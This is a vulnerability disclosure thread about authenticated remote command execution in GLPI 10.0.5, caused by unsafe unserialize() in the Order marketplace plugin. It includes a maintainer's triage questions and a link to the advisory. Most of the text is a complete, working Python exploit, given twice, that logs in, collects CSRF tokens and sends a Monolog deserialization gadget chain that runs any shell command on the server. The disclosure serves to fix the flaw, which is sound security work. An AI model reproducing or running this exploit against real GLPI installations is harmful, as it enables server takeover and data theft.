Authenticated Remote Command Execution on GLPI 10.0.5 due to vulnerable marketplace plugin in pluginsglpi/order
Reported on
Nov 30th 2022
Description
It was found that GLPI at the current version (10.0.5) is vulnerable to a remote command execution when an attacker has super-user privileges. This is possible due to an attacker being able to download a plugin that contains files that was calling unserialize() into $_POST['entity_restrict']. This vulnerability is able to be turned into a remote command execution with a popular gadget for monolog/monolog (Monolog/RCE6 on phpggc) which is installed by default on GLPI.
After the attacker configures the marketplace, installs and enables the plugin. He will be able to reach the vulnerable file by making a POST request to /marketplace/order/ajax/dropdownContact.php
with the URL-encoded monolog/monolog gadget on the entity_restrict
POST parameter.
Proof of Concept
#####################################################
# #
# Exploit made by Daniel Matsumoto (@c3l3si4n) #
# 30/11/2022 #
# #
# #
#####################################################
import requests
from phpserialize import serialize, unserialize
from phpserialize.decorators import namespace
import argparse
import base64
session = requests.session()
command = ""
monolog_payload = b"O:37:\"Monolog\\Handler\\FingersCrossedHandler\":3:{s:16:\"\x00*\x00passthruLevel\";i:0;s:9:\"\x00*\x00buffer\";a:1:{s:4:\"test\";a:2:{i:0;s:REPLACE_ME_LEN:\"REPLACE_ME\";s:5:\"level\";N;}}s:10:\"\x00*\x00handler\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";N;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";N;s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}"
def get_index_csrf(url, session, logged=False):
burp0_url = url + "/front/central.php" if logged else url
r = session.get(burp0_url, verify=False).text
try:
token = r.split('"_glpi_csrf_token" value="')[1].split('" />')[0]
if logged:
return token
else:
login_field = r.split('<input type="text" class="form-control" id="login_name" name="')[1].split('" placeholder="" tabindex="1" />')[0]
password_field = r.split('<input type="password" class="form-control" name="')[1].split('" placeholder="" autocomplete="off" tabindex="2" />')[0]
return token, login_field, password_field
except IndexError as e:
print("\n[!] Error while fetching CSRF token. Make sure the --url argument is pointing to the web root of GLPI.")
exit(1)
def attempt_exploit(url, session, command_to_exec, csrf_token):
command_to_exec = f"echo {base64.b64encode(command_to_exec.encode()).decode()}|base64 -d|sh".encode()
serialized = monolog_payload.replace(b"REPLACE_ME_LEN", str(len(command_to_exec)).encode()).replace(b"REPLACE_ME", command_to_exec)
burp0_url = "http://127.0.0.1:80/marketplace/order/ajax/dropdownContact.php"
burp0_headers = {"sec-ch-ua": "\"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Glpi-Csrf-Token": csrf_token, "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-platform": "\"Linux\"", "Origin": "http://127.0.0.1", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://127.0.0.1/front/central.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"entity_restrict": serialized}
r = session.post(burp0_url, headers=burp0_headers , data=burp0_data)
print("[*] Full URL: " + burp0_url)
print("[*] Request Dict: " + str(burp0_data))
print("\n\n[*] Output of your command:\n" + r.text)
def start(url, username, password, command, session):
csrf_token, login_field, password_field = get_index_csrf(url, session)
burp0_url = f"{url}/front/login.php"
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "Origin": "http://127.0.0.1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://127.0.0.1/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"noAUTO": "0", "redirect": '', "_glpi_csrf_token": csrf_token, login_field: username, password_field: password, "auth": "local", "fieldc6386e4d7ef54c": "on", "submit": ''}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
csrf_token = get_index_csrf(url, session, logged=True)
attempt_exploit(url, session, command, csrf_token)
def main():
parser = argparse.ArgumentParser(description='Exploit for Authenticated Remote Command Execution on GLPI 10.0.5 (made by @c3l3si4n)\n')
parser.add_argument('-u','--username', help='Username of a super-admin user', required=False, default="glpi")
parser.add_argument('-p','--password', help='Password of a super-admin user', required=False, default="glpi")
parser.add_argument('-c','--command', help='Command to execute', required=False, default="id")
parser.add_argument('-t','--url', help='Base URL of GLPI installation', required=True)
args = vars(parser.parse_args())
start(args['url'], args['username'], args['password'], args['command'], session)
main()
#start('http://127.0.0.1/', 'glpi', 'glpi', 'id', session)
Impact
Since the GLPI super-user role doesn't have any access to features that trigger RCE. This is considered a vulnerability. By exploiting this vulnerability an attacker can use their elevated privileges on the panel to exploit this vulnerability and achieve RCE.
SECURITY.md
6 months ago
It seems like the SECURITY.md was created by the GLPI team.
Hello @admin, 22 days have passed since the SECURITY.md file was created by the maintainer. Could we proceed with the triaging process? Just remembering that this vulnerability impacts the main GLPI product, due to this plugin being installable by an admin.
Hi,
Could you tell me what Monolog version is supposed to be affected by this RCE ?
phpggc
indicates Monolog/RCE6 1.10.0 <= 2.7.0+
and on GLPI 10.0.6, Monolog version is 2.8.0.
Hey, It seems like the gadget still works for Monolog 2.8.0. Here's a fixed version of the PoC script (I found a bug earlier):
#####################################################
# #
# Exploit made by Daniel Matsumoto (@c3l3si4n) #
# 30/11/2022 #
# #
# #
#####################################################
import requests
from phpserialize import serialize, unserialize
from phpserialize.decorators import namespace
import argparse
import base64
session = requests.session()
command = ""
monolog_payload = b"O:37:\"Monolog\\Handler\\FingersCrossedHandler\":3:{s:16:\"\x00*\x00passthruLevel\";i:0;s:9:\"\x00*\x00buffer\";a:1:{s:4:\"test\";a:2:{i:0;s:REPLACE_ME_LEN:\"REPLACE_ME\";s:5:\"level\";N;}}s:10:\"\x00*\x00handler\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";N;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";N;s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}"
def get_index_csrf(url, session, logged=False):
burp0_url = url + "/front/central.php" if logged else url
r = session.get(burp0_url, verify=False).text
try:
token = r.split('"_glpi_csrf_token" value="')[1].split('" />')[0]
if logged:
return token
else:
login_field = r.split('<input type="text" class="form-control" id="login_name" name="')[1].split('" placeholder="" tabindex="1" />')[0]
password_field = r.split('<input type="password" class="form-control" name="')[1].split('" placeholder="" autocomplete="off" tabindex="2" />')[0]
return token, login_field, password_field
except IndexError as e:
print("\n[!] Error while fetching CSRF token. Make sure the --url argument is pointing to the web root of GLPI.")
exit(1)
def attempt_exploit(url, sess, command_to_exec, csrf_token):
command_to_exec = f"echo {base64.b64encode(command_to_exec.encode()).decode()}|base64 -d|sh".encode()
serialized = monolog_payload.replace(b"REPLACE_ME_LEN", str(len(command_to_exec)).encode()).replace(b"REPLACE_ME", command_to_exec)
burp0_url = f"{url}/marketplace/order/ajax/dropdownContact.php"
burp0_data = {"entity_restrict": serialized}
headers = {"X-Glpi-Csrf-Token":csrf_token}
r = sess.post(burp0_url , data=burp0_data, headers=headers)
print("[*] Full URL: " + burp0_url)
print("[*] Request Dict: " + str(burp0_data))
print("\n\n[*] Output of your command:\n" + r.text)
def start(url, username, password, command, session):
csrf_token, login_field, password_field = get_index_csrf(url, session)
burp0_url = f"{url}/front/login.php"
burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Linux\"", "Upgrade-Insecure-Requests": "1", "Origin": "http://127.0.0.1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://127.0.0.1/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"noAUTO": "0", "redirect": '', "_glpi_csrf_token": csrf_token, login_field: username, password_field: password, "auth": "local", "fieldc6386e4d7ef54c": "on", "submit": ''}
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
csrf_token = get_index_csrf(url, session, logged=True)
attempt_exploit(url, session, command, csrf_token)
def main():
parser = argparse.ArgumentParser(description='Exploit for Authenticated Remote Command Execution on GLPI 10.0.5 (made by @c3l3si4n)\n')
parser.add_argument('-u','--username', help='Username of a super-admin user', required=False, default="glpi")
parser.add_argument('-p','--password', help='Password of a super-admin user', required=False, default="glpi")
parser.add_argument('-c','--command', help='Command to execute', required=False, default="id")
parser.add_argument('-t','--url', help='Base URL of GLPI installation', required=True)
args = vars(parser.parse_args())
start(args['url'], args['username'], args['password'], args['command'], session)
main()
I changed required provileges from high to low. Indeed, I consider that installation of the plugin is not part of the attack. Attacker should only have rights to access to the standard interface to be able to process to the attack, but do not requires admin rights.
https://github.com/pluginsGLPI/order/security/advisories/GHSA-xfx2-qx2r-3wwm